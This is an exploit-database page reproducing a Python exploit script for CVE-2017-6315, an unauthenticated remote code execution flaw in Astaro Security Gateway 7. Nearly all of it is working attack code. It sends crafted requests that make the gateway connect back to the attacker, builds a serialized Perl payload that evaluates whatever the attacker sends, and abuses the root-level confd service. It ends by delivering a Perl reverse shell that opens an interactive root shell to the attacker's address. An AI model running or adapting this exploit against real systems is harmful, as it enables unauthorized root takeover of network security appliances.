Astaro Security Gateway 7 – Remote Code Execution

  • 作者: Jakub Palaczynski
    日期: 2017-09-13
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42726/
  • #!/usr/bin/python
    
    # Astaro Security Gateway v7 - Unauthenticated Remote Code Execution
    # Exploit Authors: Jakub Palaczynski and Maciej Grabiec
    # Tested on versions: 7.500 and 7.506
    # Date: 13.12.2016
    # Vendor Homepage: https://www.sophos.com/
    # CVE: CVE-2017-6315
    
    import socket
    import sys
    import os
    import threading
    import subprocess
    import time
    
    # print help or assign arguments
    if len(sys.argv) != 3:
    sys.stderr.write("[-]Usage: python %s <our_ip> <remote_ip:port>\n" % sys.argv[0])
    sys.stderr.write("[-]Exemple: python %s 192.168.1.1 192.168.1.2:4444\n" % sys.argv[0])
    sys.exit(1)
    
    lhost = sys.argv[1] # our ip address
    rhost = sys.argv[2] # ip address and port of vulnerable ASG v7
    
    # for additional thread to send requests in parallel
    class requests (threading.Thread):
    def run(self):
    print 'Sending requests to trigger vulnerability.'
    time.sleep(5)
    # first request to clear cache
    os.system('curl -s -m 5 -X POST https://' + rhost + '/index.plx -d \'{"objs": [{"FID": "init"}],"backend_address": "' + lhost + ':81"}\' -k > /dev/null')
    # second request to trigger reverse connection
    os.system('curl -s -m 20 -X POST https://' + rhost + '/index.plx -d \'{"objs": [{"FID": "init"}],"backend_address": "' + lhost + ':80"}\' -k > /dev/null')
    
    # function that creates socket
    def create_socket(port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('0.0.0.0', port))
    sock.listen(10)
    conn, addr = sock.accept()
    return sock, conn, addr
    
    # function to receive data from socket
    def receive(conn):
    sys.stdout.write(conn.recv(1024))
    sys.stdout.flush()
    sys.stdout.write(conn.recv(1024))
    sys.stdout.flush()
    
    # Thanks to Agarri: http://www.agarri.fr/docs/PoC_thaw_perl58.pl
    # This script creates serialized object that makes reverse connection and executes everything what it receives on a socket
    file = """
    #!/usr/bin/perl
    
    use strict;
    use MIME::Base64 qw( encode_base64 );
    use Storable qw( nfreeze );
    use LWP::UserAgent;
    
    my $package_name = "A" x 252;
    my $pack = qq~{ package $package_name; sub STORABLE_freeze { return 1; } }~;
    eval($pack);
    
    my $payload = qq~POSIX;eval('sleep(10);use IO::Socket::INET;\$r=IO::Socket::INET->new(\"""" + lhost + """:443");if (\$r) {eval(<\$r>);}');exit;~;
    
    my $padding = length($package_name) - length($payload);
    $payload = $payload . (";" x $padding);
    my $data = bless { ignore => 'this' }, $package_name;
    my $frozen = nfreeze($data);
    $frozen =~ s/$package_name/$payload/g;
    my $encodedSize = length($frozen);
    my $pakiet = print(pack("N", $encodedSize), $frozen);
    print "$frozen";
    """
    
    # save file, run perl script and save our serialized payload
    f = open("payload.pl", "w")
    f.write(file)
    f.close()
    
    serialized = os.popen("perl ./payload.pl").read()
    os.remove("./payload.pl")
    
    # start thread that sends requests
    thread = requests()
    thread.start()
    
    # open socket that receives connection from index
    sock, conn, addr = create_socket(80)
    print 'Received connection from: ' + addr[0] + ':' + str(addr[1]) + '.'
    print 'Sending 1st stage payload.'
    data = conn.recv(256)
    # say hello to RPC client
    conn.sendall(data)
    data = conn.recv(256)
    # send serialized object that initiates connect back connection and executes everything what it receives on a socket
    conn.sendall(serialized)
    sock.close()
    
    # create second socket that receives connection from index and sends additional commands
    sock, conn, addr = create_socket(443)
    print 'Sending 2nd stage payload.'
    # send commands that exploit confd (running with root permissions) which is running on localhost - the same exploitation as for first stage
    conn.sendall('sleep(10);use IO::Socket::INET;my $s = new IO::Socket::INET(PeerHost => "127.0.0.1",PeerPort => "4472",Proto => "tcp");$s->send("\\x00\\x00\\x00\\x1d\\x05\\x06\\x02\\x00\\x00\\x00\\x04\\x0a\\x04\\x70\\x72\\x70\\x63\\x0a\\x04\\x30\\x2e\\x30\\x31\\x0a\\x06\\x73\\x79\\x73\\x74\\x65\\x6d\\x0a\\x00");my $a;$s->recv($a,1024);$s->send("' + "\\x" + "\\x".join("{:02x}".format(ord(c)) for c in serialized) + '");$s->recv($a,1024);$s->close();\n')
    sock.close()
    
    # create socket that receives connection from confd and sends commands to get reverse shell
    sock, conn, addr = create_socket(443)
    print 'Sending 3rd stage payload.'
    # send reverse shell payload
    conn.sendall('sleep(20);use Socket;$i="' + lhost + '";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\n')
    sock.close()
    
    # create socket to receive shell with root permissions
    print '\nNow you need to wait for shell.'
    sock, conn, addr = create_socket(443)
    receive(conn)
    while True:
    cmd = raw_input("")
    if cmd == 'exit':
    break
    else:
    conn.send(cmd + "\n")
    receive(conn)
    sock.close()